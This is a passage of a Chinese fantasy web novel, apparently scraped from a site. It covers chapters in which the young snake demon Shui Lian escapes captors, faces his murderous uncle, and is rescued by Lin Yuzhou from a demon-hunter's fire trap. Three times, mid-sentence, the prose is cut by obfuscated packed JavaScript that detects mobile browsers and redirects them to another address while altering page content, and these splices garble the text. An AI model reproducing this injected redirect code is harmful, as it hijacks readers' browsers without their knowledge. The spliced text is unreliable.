他的思绪在庞大陌生的谜团里横冲直撞,却连一丝光束都看不见。周遭絮语逐渐安静,不安与惶恐在此刻却如潮水般扑上他,叫他避不可免想到蔺雨洲。 “我会竖中指让他们滚蛋。” 那天他问蔺雨洲遇到问题怎么办,蔺雨洲格外嚣张地说。 水涟压着呼吸,忽地被他的声音安抚,看见一点微弱的光。 坐以待毙并非好选择,他不知道这群人的真实目的,但听他们口中的话,也知晓其中暗藏的浓浓恶意。 水涟不能真的等到他们口中的家主到场。倘若对方到场,他能不能留个全尸都不可知。 他竖起耳朵去听四周的声响,结合空气中不同的味道气息分辨他所处空间究竟有多少人,大致都在什么方位。 方才清醒睁开眼时,他能确定自己的所在环境应该是某幢房子内部,空气流动并不鲜明。 他裸/露在外的肌肤缓缓浮现蛇鳞,帮助他进行判断。头晕的感觉还有部分残留在大脑中,他不敢惊动那些人,只能将观察的动静放到最小。 四个。 他的左前方有两道特别粗重的呼吸,右前方有两道。 “水商用了多少药,怎么还没醒?”有道粗哑的声音从左前方飘来,水涟一惊,继续装晕,杂乱的脚步声贴近,他细细分辨,有人走到他身前检查他的状况。 “也该醒了,不好叫他昏着见家主——” 水涟猛地睁开眼,全身骨骼咔啦作响,在那人猝不及防的目光变换身体,细伶伶一条小黑蛇从宽大的衣领里钻出,弓箭似的飞了出去! 残留的眩晕感基本消失,他拿出在蔺家躲蔺雨洲的架势,游得飞快。 挂在脖子上的那枚玉坠子不知何时收缩,也跟着缠在他心脏的位置,状若蛇鳞,仿若与他融为一体。 “老四,往那儿跑了,抓住他!” “这小崽子,捆妖索怎么没用!” 水涟险险与那只盖到他身上的手擦边而过,蛇信轻吐,将一切环境信息卷入他的大脑。 他从来没有跑那么快过,在木椅下游走,穿过长沙发底,在沙发被掀飞的那一刻尾巴一勾将自己甩上茶几,拼命地向上游。 貌似没有多大力气的尾巴将茶杯重重打出去,直接飞高砸在其中追捕他之人的脸上。 “啊!”被茶杯砸中的人捂住鼻子,瓮声瓮气喊:“二楼!” 水涟在半路生生扭转方向,硬是把四条能化人的成年蛇当狗遛,遛得他们团团转。 在他们失了准头的那一瞬,蹭地蹿了出去,在空气中留下道黑色残影,缠在楼梯扶手上径自往二楼游。 有风声从二楼传来,他们把他绑到这里来根本没检查环境,留了敞开房间与窗户。 正门没法走,他要走窗户从房子里逃出去。 有人再次追了上来,他能清楚感知到温热的吐息落在蛇鳞上。 “跑啊,继续跑。”那人的声音格外熟悉,是绑走他的司机水商! 水商直接掐住了他的尾尖,唇角裂开至颊侧,张开血盆大口威慑他:“怎么不跑了?” 水涟不知道自己身体里从哪儿爆发出来那么大的力气,他回身,咬不穿蔺雨洲的幼嫩毒牙竟然生生将水商的虎口咬了对穿! 他原想着水商吃痛松开他,却没想到这条成年蛇远比他意料地更加强势,掐住他尾巴的力道变得更大,嗤笑道:“别以为毒素对我会有用——” 他话音未落,伤口却传来尖锐的刺痛。 水商低下头,难以置信地看向被水涟咬上的手。那只手掐着水涟,正在以恐怖的速度迅速灰败下去。 他的喉间嗬嗬作响,像只破败风箱,拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他那时不知道这是什么,现下却从水涯悄无声息的出手里清楚明白。 “真可怜,水澜临死前把你托付给那个下贱的侍女,有没有想过你会是这副惨状?” 水涯啧啧称奇道:“怎么连妖力都没有呢?” 水涟其实已经听不太清楚他的声音,可那些话里的意思却与水倩尖利的诘问齐齐现身在他的大脑中。 “你为什么没有妖力,为什么学不会!!” “什么都学不会,你要如何替大人报仇!” 留于世间不过几年光景,死亡的阴影已经悄无声息蒙住他的脸。 水涟意识到今天大概就是自己的死期。 养大他的水倩不是他的母亲,素未谋面的亲人早就丧于眼前这位自称是他舅舅的蛇妖之手。 而他毫无还手之力。 “笃笃。” 敲门音打碎满室粘稠的窒息感。 一道身影立于门旁:“大人,蔺河生到了。” 11. 第 11 章 水涯虎口一松,水涟重重摔在地上。 “看好他,别叫他跑了,等会儿带到蔺河生面前。”他意味不明地哼笑一声,“他儿子今年是不是要上坛了?竟然敢愚弄我。” 水涟化形只化了一半,捂住胸口拼命咳嗽,全身都在不受控痉挛。苍白面颊青紫,白皙的脖颈缠上一圈可怖淤痕。 他费劲转动眼珠去瞧水涯,像是要将那张鬼气森森的脸拓印在脑海中,眉眼鼻梁,双唇面颊,五官的每一丝转折都不愿忘。 空空荡荡的胃烧起滔天食欲,与怒火共同焚烧身躯。 他吐出断续的吐息,带着血腥味的气息化作黑线,在所有人无知无觉中,悄无声息缠在水涯离去的背影之上。 水涯离去后,房间内连唯一的风声都消失了。 得到吩咐的年轻蛇妖走到水涟身侧,将他脱在楼下的校服丢到他身上。 水涟没力气,任由校服随意盖在身上。他掀了掀眼皮,打量那个蛇妖的脸。 年轻蛇妖半边脸都在面具下,未被遮掩的半张脸,却浮现出黑色的蛇鳞。 这是只在化形上有些“失败”的蛇。 水涟的蛇尾细微动了动,这条蛇妖和抓他的司机,身上的气息很相似,能力大概相仿。 他见过水涯的出手,再回想被那几个看守他的蛇妖追捕他时的场景,这意味着这些妖身上的妖力稀薄,甚至很有可能都没有妖力。 水涟舔舔上颚,他年纪尚幼,毒素含量本就不高,还咬死了水商,现下剩余的不知道够不够弄死看守他的年轻蛇妖。 弄不死,昏迷也能争取时间。 他不知道蔺河生和水涯之间有什么关系,蔺河生今晚又为什么会出现在这里,但这无疑是个机会。 “大人在你身上下了禁咒,你一旦离开这里,他会立马察觉,别动歪心思。” 那蛇妖像是看穿他的心思,忽然开口道。 水涟抓住校服,强撑起身子给自己套上:“他不是……咳咳咳咳……叫你把我带下去么?” 他脖子受伤,本就沙哑的嗓子如今更加哑,活像个破锣在说话。 “尚未到时间。”蛇妖冷眼旁观他细伶伶一条尾巴,瞥见他脖子上一圈淤痕,眼底没有半分动容的意思。 水涟游到墙边,贴着墙恢复体力,眼珠一眨不眨盯着蛇妖,冷不丁道:“他说他是我舅舅。” 蛇妖没有搭理他,只是站在他身前把守唯一的出口。 “我也没有妖力,他又何必找我?”水涟似是自言自语问,注意力却全在观察对方。 水涯临走前的吩咐并不包括给他送衣服,他料想他这位好舅舅应该更希望他越狼狈越好。 既然如此,年轻蛇妖给他丢衣服的举措就有文章可作。 他的套话不算精明,与他的年纪相比,又显得与众不同起来。年轻蛇妖的目光落在他身上,良久后才开口:“不会死,别多想。” 水涟耳朵动了动,沙哑道:“像我这样的人……妖,还有很多吗?” 蛇妖露在面具之外的眉毛轻轻一抬,不知道是想到什么,目光细细扫过这位当年被侍女抱着仓皇从水家出逃的小少爷。扫过他暗紫色的眼眸,尚未长开,却已经能窥见未来俊美可能的五官。 他同上任家主长得实在太像了。 “族人众多。水家是妖界千年望族。”年轻蛇妖缓缓道。 妖界。水涟垂下眼眸,睫羽微敛遮掩他思索的神情。他还是记不清全部的记忆,只能根据现有的信息推测。 按照他那位舅舅和年轻蛇妖口中的话,他的母亲死于家族内乱,水倩作为她的侍女,带着他离开水家。如果只是单一报仇,知道他没有妖力的水涯没必要这么穷追不舍抓捕他。 他身上有水涯必须要在他活着时,才能得到的东西。 千年望族,水涯够不够服众?不够的话,是不是要用到他身上的信物? 会不会是水倩留给他的玉坠? 水涟刚想到这个可能就立刻否定。水涯掐他时能清楚看见他脖子上挂着的东西,但压根没在乎。 不是玉坠。 他的视线缓缓下移,领口内,那枚玉坠不知何时嵌入他的胸口,只余一半在外面。 “时间到了,走。” 年轻蛇妖伸手钳制住他的右臂,把他往房间外拖。 水涟没有挣扎,顺从跟他行动,口中语速极快将剩余的问题问出口:“蔺河生,和水家是什么关系?” 这大概不是机要信息,年轻蛇妖回答得格外爽快:“蔺家在供奉水家。” 他的答案出乎水涟意料,他完全没想过蔺家会供奉妖。 人类难道不是该供奉神灵么?就算有灵蛇,水涯那一看就沾过不少血的货色跟灵蛇可搭不上边! 水涟的大脑今天当真同他的身体一般超乎寻常运转,他仔细回想水涯同他说过的每一句话,几乎要把每个字眼都抠出来揣摩。 “上坛是什么意思?” 水涟无暇顾及言语的表达,单刀直入询问蛇妖。 那年轻蛇妖露出略微讶异的神情:“水倩连这些东西都抹除掉了么?” “上坛,献祭而已。”他压低声道,“蔺家每隔几代,都要奉上一名子孙奉神,用来祭祀。” 水涟不见得能完全理解这些词的含义,却天然把这件事和血腥挂上勾。蛇妖的献祭,必然不可能像他们班的早读,和平安宁,透出万事太平的味道来。 “他儿子今年是不是要上坛了?” 水涯离开房间前,恶意满满的讽笑在耳侧蓦地响起,落入耳中,叫水涟悚然一惊。 每隔几代的概率,轮到了蔺雨洲头上。 融入胸口的那颗玉坠被血肉打磨,尖锐扎进水涟的心脏。 他的记忆溯流而上回到与蔺雨洲初见的暴雨夜,根本没想过那一刹那的好奇,有大概率源自蔺家与水家的畸形关系。 蔺河生只有蔺雨洲这一个孩子,他难道真的会任水家宰割吗? 蔺家父子俩不对付,见面必定吵架,水涟旁观两次,两次都是剑拔弩张。但他能感觉到蔺河生对蔺雨洲隐隐有纵容的意味,看向蔺雨洲的目光永远是复杂的。 水涟不能理解人类复杂的情感,却能读懂情绪。那些刺耳的话语下藏着某种更为柔和的态度。 他不信蔺河生面对蔺雨洲被献祭的这件事,真的无动于衷。 水涟脑中忽然闪过某个疑惑,紧跟着就被蛇妖的话语打断。 蛇妖看出他悚然背后的迷茫,抓紧他的手臂:“蔺家同水家有‘契’在身,蔺河生没办法违抗。” 水涟的心骤然沉了下去。 比起问题繁多一无所知的窘境,得到答案显然让他更加混乱。 从被绑走开始,这几个小时他接收的信息比他以往八年知道的都要多。 他在蔺雨洲身边过了大半个月稳定平静的日子,乍逢今夜,整条蛇像被突然绑在火箭上窜上天巡回,巡回过后又被绑在跳楼机上极速上升下降十个来回。 水涟视线找不到落点,在空中不断游移,透过楼梯栏杆的缝隙,落在一楼会客厅之内。 他醒来后就和四条看守他的成年蛇斗智斗勇,搞得整个会客厅大翻新,碎裂的茶杯尸体和掀翻的长沙发构成坟茔,配合水涯那张吊丧脸,倒真像孤魂野鬼拍摄现场。 没有人和妖在乎恢复原状,水涯和蔺河生分坐两端,水涯身后还站着三个戴面具的蛇妖,而蔺河生身后空无一人。 他是孤身前来见水涯的。 “我的好外甥来了。” 水涯那标志性的粘稠阴冷嗓音在会客厅内回响,他看向蔺河生,意有所指:“你应该见过他吧?” 水涟被年轻蛇妖压着倒在这一人一妖之间,狼狈抬起头,同蔺河生漠然的双眼对上视线。 被蛇妖打断的困惑忽地在他没什么温度的目光里连接成句,他一眨不眨地盯住蔺河生的面孔,周围的信息气味以恐怖的方式传入他的感知。 水涯找了他八年,八年内一无所获,可前段时间突然就发觉他的行踪,刚好趁蔺雨洲不在的时间,让水商绑走了他。 他的行踪难道就这么碰巧传入水涯的视野? 蔺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274048|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河生与他初次见面,听见他的名字后猝然变换的神情并不作假,想让人把他送走也不是假的,后面偃旗息鼓,除了蔺雨洲的意思,会不会也有拿他当诱饵的念头在里面? 异样的味道与声响被挑拣过滤,成为重要线索,水涟全身僵硬,咬牙维持平稳呼吸,并不愿身后的水涯察觉异样。 蔺河生随意瞟了他一眼,语气坦然回答:“见过。” “什么时候?” 蔺雨洲坐在钱淑秀的床边,有些惊讶听老人说蔺河生第一时间来看她的事。 老人家年纪大了,身体或多或少会有点小毛病。用药过后精神气儿瞧着不错,下午就出院了。 蔺雨洲原先赶来提着一颗心,找医生了解情况后,见状也安定下来。 “昨天夜里的事儿,知道我身体不舒服立马赶来了,还说也要让你来看看我。”钱淑秀轻轻拍蔺雨洲的手,“我说哪里需要你过来,小毛病,不是什么大事儿,你读书才是最要紧。” 蔺雨洲握住老人家的手,撇撇嘴:“他不让我来我也偏要来,哪有您身体不舒服,我不来看您的道理。” 他同蔺河生关系差,和隔一代的长辈倒格外亲近,爷爷奶奶去世早,和姥姥姥爷来往多,牙尖嘴利碰上这两位长辈也多是甜言蜜语。 钱淑秀笑眼弯弯,不知又想到什么,轻轻拍了拍他的手背:“澄澄,你爸爸平时也辛苦,少和他怄气,好不好呀?” 蔺雨洲移开视线,不敢同她赌气,只是别扭道:“您先让他别同我怄气。” 蔺河生看他横眉竖眼,他又不是蔺河生的出气筒,凭什么不能甩脸子甩回去。 钱淑秀知晓这父子俩之间的龃龉,何温妍去世后,两人间相处就和仇敌似的,谁劝都不好使。 她不再多言,看了眼外面漆黑的天色,温声道:“时间不早,回去也太晚了,你今晚就住这儿,明早再让小方送你去学校,好不好?” 蔺雨洲看了眼时间,晚上八点多了,这个时间点,水涟估计还在写作业。 他这一天都在陪老人,再加之早上的事儿,心里堵着一股气,故意不去想水涟,脑子里甚至多了几百种水涟和他道歉俯首称臣的场景。 可再不爽快,夜幕降临,那股气儿也消了干净。 “还有张卷子落家里没写,老师明天要。回去也耗不了多少时间,我今晚还是先回家。”蔺雨洲对钱淑秀说,“姥姥,我周末再来看您啊。” 钱淑秀知道他性格,闻言也不多说了,只是吩咐:“让小方送你回去。” “知道的。” 蔺雨洲背起包朝钱淑秀摆摆手,优哉游哉回家。 何家的司机知道这位表少爷要回家,忙不迭开车去了。蔺雨洲站在车库门口,拿着手机思索几秒,给管家打电话。 “周伯,水涟在干嘛?”电话接通的那一刻,他的语气里带着自己都没意识到的愉快。 老管家的声音透过扬声器,活像开了模糊:“小少爷睡啦。” “睡了?”蔺雨洲眉梢一挑,“这么早?把他叫起来,接我电话。” 他一向想一出是一出,听闻水涟这么早就睡觉,一时间觉得这小孩压根没念着自己,那点愉快瞬间就变成不高兴。 老管家苦口婆心:“少爷,小孩早睡多睡才能长高,总不好打扰吧?” 蔺雨洲扯扯嘴角,懒得听他唠叨,敷衍似的回他:“行行行,反正我等会儿回去还得叫他。” 老管家“哎哟”一声挂断了电话。 通话界面退出,何家的车缓缓停在蔺雨洲面前。他盯着还未熄屏的手机,不知为何,一点出于直觉提醒的微妙怀疑却在此刻划过脑海。 他鬼使神差打开手机上某个用于定位的软件,就像平时无聊确认水涟的位置那样,看向水涟的坐标。 坐标定位并不在蔺家。 蔺雨洲的脸色骤然阴沉。 他的手指重重按在屏幕上,再次拨打蔺家的电话。 提示音过后,电话接通。 “周伯,”他一字一句,语气森然问道,“水涟真的还在家吗?” 12. 第 12 章 水涟来蔺家没多久,蔺雨洲就送了他一只手表,那只表里装了定位器。 蔺雨洲和水涟相处不过大半月,对他的性格却基本摸了个透彻。水涟这个小孩,对一切他认定是属于他的东西,有超乎常人的独占欲。 是他的,就是他的,被抢走,他头破血流都会抢回来。 那只手表虽然是他送给水涟,但毕竟是水涟的第一份礼物,除开在家中换洗睡觉,其余时候他根本不会将表摘下来。 蔺雨洲沉默无声等待老管家的回话。 老管家叹息后,固执用了先前的说辞,一个字都没有变过,就像他排演了多次。 “行。” 蔺雨洲没有任何的犹豫,直接挂断了电话。 他拉开车门,面色阴沉吩咐:“去霖海区远郊的镜湖庄园。” 司机抬眼瞧车内镜,见表少爷满脸阴鸷,年轻英俊的眉眼被阴影笼罩,透出浓重的煞气来。 他不清楚蔺雨洲要做什么,抓紧方向盘,大着胆子说了句:“少爷,老太太要我送您回家。” 钱淑秀的意思是路上别耽搁,直接把蔺雨洲送回家,不能拖。 蔺雨洲死死抓着手机,闻言眉头一跳,怒火中烧竟也叫他忽地沉下去。他嘴角一扯,语气古怪道:“我爸在那儿等我。” 他的好耐性通常就只有一句话,见司机还有再开口的意思,微微探身,手撑在驾驶座椅上,偏过头盯着司机:“你送我去,总比我一个人去更安全,是不是?” 司机叫他黑沉沉的目光恐吓,把所有的话全咽回肚子里。 “不会叫你难做的,姥姥那里,你什么都不用说。” 司机有顾虑,蔺雨洲看得出来:“开车吧,越快越好。” 他什么话都说了,司机只能听吩咐,加足马力把这位大少爷往远郊送。 车辆驶上高架桥,蔺雨洲的手指抵在手机屏幕水涟的定位上,不断上下滑动。 平时不见得蔺河生有多孝顺,乐意放下工作看看长辈,年初他姥爷住院,蔺河生也只是派了助理。 昨天夜里倒是百忙之中赶去探望钱淑秀,还是一得知就迅速赶过去。 他很难不猜蔺河生之前把水涟送走的想法根本没止息。 偏偏就在他和水涟分开的时候,水涟就换了个地儿待着,甚至不是蔺河生口中的“从哪儿来回哪儿去”。 高架桥上车流不息,远处城市灯火通明。令城的夜生活会持续到黎明前夕,现下才八点多,一切都才刚刚开始。 蔺雨洲望着车窗外蔓延后退的灯海,重新将定位在口中无声念了一次。 镜湖庄园的开发商是蔺家,当年开盘的宣传语还是什么只与山水风月对话。 水涟定位在二期十八号,是蔺河生当年专门留出来的一套,靠山靠湖,格外僻静。 蔺雨洲对这栋别墅印象深刻,还是因为他初中中二病阶段,认为自己体质特殊,应该一个人住在郊外。 为着这事蔺河生大动肝火,把蔺雨洲骂个狗血淋头。 他不骂还好,骂了蔺雨洲脑回路一拐,竟然从他的火气里怀疑他在那套别墅养情人,当即挑了个时间杀去别墅。 只远远看了眼,便被闻讯赶来的蔺河生的人押犯人一样押到蔺河生面前。 那天也是他第一次挨家法,被蔺河生打到下不来床,整整休养了大半个月。 这次水涟被送到这里,蔺河生想要做什么? — “正好,不如和我说说什么时候见过的?”水涯听见蔺河生坦然的回答,露出恰到好处的讶异神情,蛇目一眨不眨盯住蔺河生,仿佛捕猎前兆。 蔺河生轻扫膝头,收回落在水涟身上的视线,寡淡开口:“半月前见过。” “半月前,那时间可够久远的。”水涯向前探身,蛇鳞从面颊一路延伸至脖颈,“我分明吩咐过,如果找到他,就该带过来给我。” 蔺河生对他的步步紧逼无动于衷:“我并不知道他是你要找的人。” “而且你没有同我强调他的重要性。” 他目不斜视,直截了当否认了全部。 水家在寻找水涟这件事上讳莫如深,连对蔺河生的吩咐都含糊不清,因此他接到水涯的要求时,能派出人按流程找一找已经是很尽职的表现。 显然水涯在质问他时,并没有考虑到先前的情况。 水涯轻笑两声,似乎并没有因为他一板一眼的反驳火大。 然而下一刻,蔺河生便猛地喷出一口血,吃痛摔倒在地。他裸/露在外的肌肤仿佛被千刀万剐,顷刻间多出无数道裂口。 “只是你这么说,我很不高兴。” 水涯垂眸,饶有兴致看着蔺河生血葫芦似的惨状:“不小小惩戒你一番,实在难解我心头之恨啊。” 水涟原先正细细听水涯和蔺河生的话,大致能猜出来水涯今天把蔺河生叫来,多半是为了兴师问罪。 但他根本没料到水涯会突然发难。他撑在地面的手,半只手掌都浸在蔺河生流出的血里。 水涟抬起手,人类的血流经每一道掌纹,散发着绝望痛苦的哀鸣。 “他说的不都是实话么?你难道不怕他真的死在这?” 水涟抓住茶几角,强撑起孱弱单薄的身躯。暗紫色的眼瞳看向水涯时,满是鲜明的憎恶。 水涯的气息,行事作风,一切都让他格外作呕。 “一点小伤而已,你替他这么紧张做什么?”水涯手指轻攥,抓住水涟的衣领,将他提了起来:“蔺家供奉水家,自然能得到水家的好处。倒是你,同那个祭品玩得开心么?” 水涟死死掐住水涯的手腕,一言不发。 说不上开不开心,毕竟蔺雨洲就是个讨厌鬼。 十七岁的少年不知道哪里来的精力,就是喜欢折腾他,突如其来的恶作剧,刻薄毒舌的话,霸道独/裁的作风,总喜欢各种命令他——他们早上还小吵了一架,这一架持续到了现在,不知道什么时候会互相原谅。 但偶尔也会有温情的时刻。温暖美味的餐食,和平干净的住所,蔺雨洲很有安全感的拥抱,每一日的一起上学。他其实也是高兴的。 “你从水然那儿打听那么多,没有问上坛的细节么?” 水涯在看清水涟眼底浓郁的憎恶后,唇角的笑意愈发明显:“历来上坛都是件大事,所以祭品上坛前要先提前喂药,喂了药,才好穿过蛇窟。” “奉神,要鲜血淋漓才够热闹。”他慢条斯理道,像是在回忆每一场参加过的祭祀,带着贪欲的蛇信轻轻撩过唇,“只剩一口气,便能由主枝子嗣分而食之。” “今年的祭祀结尾,大概只有我们两个参加了,如果你能在搜魂里活下来,或许还能吃到心脏。” 水涯的指尖擦过水涟的眼下,喃喃道:“水澜把你藏那么深又有什么用?她还是死在我的手上,血流得那么多,永生永世不得超生啊。” “一切都会是我的……无论是水家,还是秘宝……”他像是起了兴致,神经质地开始絮叨。 疯魔的话语被粘稠阴冷的声线包裹,如同雄黄砒霜,尽数塞进听客耳中。 那股饥饿感又来了。水涟死死掐住水涯的手腕,只觉得很饿很饿。 刻入骨髓的食欲从未消失,那些犹带血腥气的仇恨如同火星子落下,掀起滔天烈火。 庞大的黑蛇在他的灵魂深处张开血盆大口,像是要借着这燎原的烈火,将一切吞食殆尽。 他听见牙关摩擦咬动的声响,在水涯戏谑讥讽的神情里,终于理解那是愤怒。 “我会杀了你……”水涟呼吸声粗重,蛇尾上的鳞片因怒火膨大炸开,带动身躯生长。 血肉被风刃割出无数伤口,鲜血奔涌而出,他浑然不觉。 骨骼咔啦作响,水涟钳制住水涯的手腕,硬生生将水涯的手扭曲成恐怖的角度,嗓音沙哑低吼道:“我会杀了你!” 水涯将他往身后重重一甩,被折断的手垂在身侧,居高临下注视他:“你真以为你一个废物,能杀了我吗?” 他手指轻挥,一个动作就叫水涟全身蜷曲动弹不得。 水涟不受控发出尖利的惨叫,五脏六腑仿佛被突然插入身体的刀搅得稀巴烂,抽出来的刀刃尽数是碎肉。 随行的蛇妖对这场暴行沉默不语,唯有看守水涟的年轻蛇妖踟蹰半分,默默上前一步,提醒水涯:“大人,佘家那边准许,入口已经通了。” 水家在妖界汜暝,他们这群蛇妖没有缩地成寸的本事,走人类线路有风险。水涟身负水家传承千年秘宝的钥匙,水涯不愿夜长梦多,走妖界黑市通道的路最快。 水涯瞥了眼不远处呼吸声近乎于无的蔺河生,一把抓起水涟,冷声道:“走。” 然而他尚未踏出半步,整栋别墅就开始剧烈晃动,突如其来的震颤叫一帮蛇妖蓦地一惊,面面相觑,根本不知道发生了什么。 水涯的目光扫过全场,只听蔺河生一声短促轻微的笑。 所有异响气息传入他的感知,他迅速在身后划开虚空,但已经来不及逃了。 蔺河生的血像流过水涟的掌纹那般,沿着地面早就布好的纹路流淌,直至最后一滴血停下,阵法终成,刹那间会客厅内冒出冲天红光! 裂隙被强制收拢,跟着水涯来的几名蛇妖在阵法中发出惨叫,登时灰飞烟灭。 有人影在红光中现身,往蔺河生口中喂了颗药,手掌一推,便将蔺河生推出阵法之外。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274049|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>水涯挥袖挡下红光,甩下水涟,暴怒道:“蔺河生,你竟然敢背叛我!” 蔺家千年前以血起誓,永生永世供奉水家。如若违誓,必得反噬万万年,子孙后代无一幸终。 蔺河生怎么敢背叛水家! “哈……哈哈……不是你说的,我儿子今年就要死了?”蔺河生被喂了药后,原先出气多进气少的情况登时改善,同水涯对峙也有了几分力气。 他对水涯、对水家的恨意已经积攒了几十年。从亡故的父亲手中接过供奉职责,了解水家与蔺家千年因缘后,那些残酷血腥的牺牲就成了不满生根发芽的养分。 蔺河生放任不满生长,直到蔺雨洲出生便被选中成为祭品,何温妍为护子抢先出手对付水涯,却惨死水涯手中,不满终于化作怒火燃烧中的恨意,为今日的杀局埋下伏笔。 刻印在心脏上的“契”反噬的滋味并不好受,蔺河生却觉得痛快无比。 他为今日筹划了十几年,直到水涟出现,他终于意识到这是前所未有的绝佳机会。 水涯为水涟疯魔了八年,一朝找到,警惕心必然会降低大半。 蔺雨洲即将上坛,他没有时间了。 “蔺河生,你真以为现在的除妖师,能杀了我吗?!”水涯大笑出声,瞬息间便冲向红光中的身影,庞大的蛇尾现身,重重扫在那人身上! “蛇妖,受死。” 红光之后,那人冷声开口,数十张朱砂绘制的符篆腾空而起,将水涯生生困在原地,动弹不得。 如今不比千年前,人间灵气稀薄,人与妖之间达到了诡异的平和,除妖师的数量也越发稀少起来。 樊家千年前就以除妖为己任,到了现代也没忘职责,仍有子孙后代坚持成为除妖师。 蔺河生请来的,便是樊家这一代最为杰出的除妖师樊声陌,是个将樊家传承千年的除妖符篆法阵使得炉火纯青的天才。 樊声陌右手掐诀,符篆围困水涯,引来天雷劈落,霎时间红光雷电将水涯劈得皮开肉绽,只得现出原身,发出凄厉哀嚎。 法阵之外,红光倒映在蔺河生眼底,映出他数十年如一日的漠然。 今日过后,不会再有任何威胁出现在蔺雨洲身边,违誓之人是他,没命的人,也只会是他。 几十年后太长远,他唯一能做的,就是护住现在的蔺雨洲。 红光骤然一滞,异变陡生,水涯不顾鳞片被层层撕扯的痛,粗壮长尾重重一扫,万千风刃穿过惊雷狠狠扎在樊声陌身上。 樊声陌一时不察,阵法松动,竟直接被他横扫打飞出去,五脏六腑叫这重击受损,口中喷出一口鲜血。 水涯五指成爪,掐住樊声陌脖颈,只听他颈骨喀一声,蛇妖嘶哑道:“我当有多能耐……” 樊声陌喘不上气,面色涨红,连掐诀都做不到,他双脚不断在半空挣扎,即将窒息而死之际,水涯却猝然放开了他! 蛇妖哇得一声吐出一口血,脊背后黑影缠绕,化作千万利刃扎进他的体内。 樊声陌不受控大喘气,惊慌回过头,不知何时,年幼昏迷的蛇妖已经站起身,暗紫色的兽瞳紧紧盯着痛苦挣扎的水涯。 水涟在法阵间穿行,如受火炙之刑。他步步紧逼,至水涯面前,一字一句,阴森开口:“我说了,我会杀了你。” 玉坠彻底与他融合,无数丧失的记忆纷至沓来,将他的大脑淹没。 饥饿感催促他向前。不知何时,万事万物都成为他的武器,他终于学会以风为刃,扎入水涯的掌心与尾巴,将他直接钉死在法阵之上。 最后一柄风刃升空,朝水涯的心脏狠狠刺入! 樊声陌死死盯着水涟被红光映亮的半边侧脸,像是见到了此生最为恐怖的阴影,可转瞬间,惊恐的战栗便化作了极度亢奋。 能炼制法器的蛇骨千年难遇,还是年纪尚幼,好处理的蛇骨,他不可能放弃! 他取出匕首在右臂上划了一道,鲜血滴入法阵,他挣扎着后退,掐诀念咒:“七寸既断,灵魄归空……天地为炉,阴阳为炭,起!” 熊熊烈火自阵法中央升腾而起,顷刻间将水涟和水涯炼出原型。水涟仰首发出凄厉惨叫,嘶鸣几乎要震碎蔺河生与樊声陌的耳膜。 太痛了,全身的骨骼皮肉都在被烈火焚烧,实在太痛了。 水涟下意识挣扎着寻找出口,可哪里都是火光,他在火光里看见断裂塌落的房梁,看见冷眼旁观他的死神,朝他的头颅落下铡刀—— 也看见冲进火光朝他奔来的身影。那人的模样在青涩与成熟间来回变换,广袖长袍卫衣长裤,水涟睁大眼,终于看清对方的模样。 蔺雨洲冲破烈火,咆哮着喊出他的姓名。 “水涟!” 13. 第 13 章 蔺雨洲是这场杀机里唯一的例外。 蔺河生不顾违誓之痛,也不在乎身上的伤口,跌跌撞撞朝蔺雨洲奔去:“蔺雨洲,你给我停下!你不要命了?!” 他虚弱的咆哮被淹没在雷声火光中,蔺雨洲没听见,只顾着往阵法中冲去。 这场阵法只针对妖,除了布阵者,无人能闯入,然而蔺雨洲却撕扯开全部烈火屏障,拼尽全力朝水涟伸出手—— 下一刻,烈火直接燎上蔺雨洲的后背,沿着脊椎,一路燃烧至他的体内。 难以忍受的痛楚瞬间将他击溃,养尊处优的身体顿时皮开肉绽,无情抽打他的理智。 他迫不得已跪倒在地,犬齿切进下唇,鲜血淋漓,指尖仍旧固执去贴近水涟:“水涟……过来。” 蔺雨洲不知道自己这么拼命做什么,烈火焚烧的痛楚非常人能忍,就算刹那的情绪上头,被火舌烫了,也应该能分清轻重缓急。 水涟像是个很有趣的玩具,对玩具那么上心属实没有必要。他是蔺家大少爷,要什么样的玩具没有。 可他还是固执地要贴近水涟,脑中只剩唯一一个念头——如果不救水涟,他会后悔一辈子。 无数熟悉的感知闯入那一刻的决策中心,并没有让他犹豫太多,仿佛遥远的很早之前,他也做过相似的选择。 他觉得水涟对自己所有的人事物有超乎寻常的独占欲,而他自己又何尝不是? “水涟,过来!”他的嗓音被火烧烫,变得沙哑血腥,命令水涟的语气却一如往常强势。 水涟的身体不受控痉挛,暗紫色眼瞳即将失焦,然而尾尖却拼命勾住了蔺雨洲的指尖。 正在掐诀念咒的樊声陌猛地睁开眼,蔺河生满身是伤倒在他的身侧,虚弱道:“那阵法应当只针对妖才对,为什么我儿子会受重伤!” 樊声陌在虚空之中绘下符篆,一掌盖在阵法之上,才扭头看向蔺河生,眼底闪过一丝悲悯:“他身上有妖的气息。” 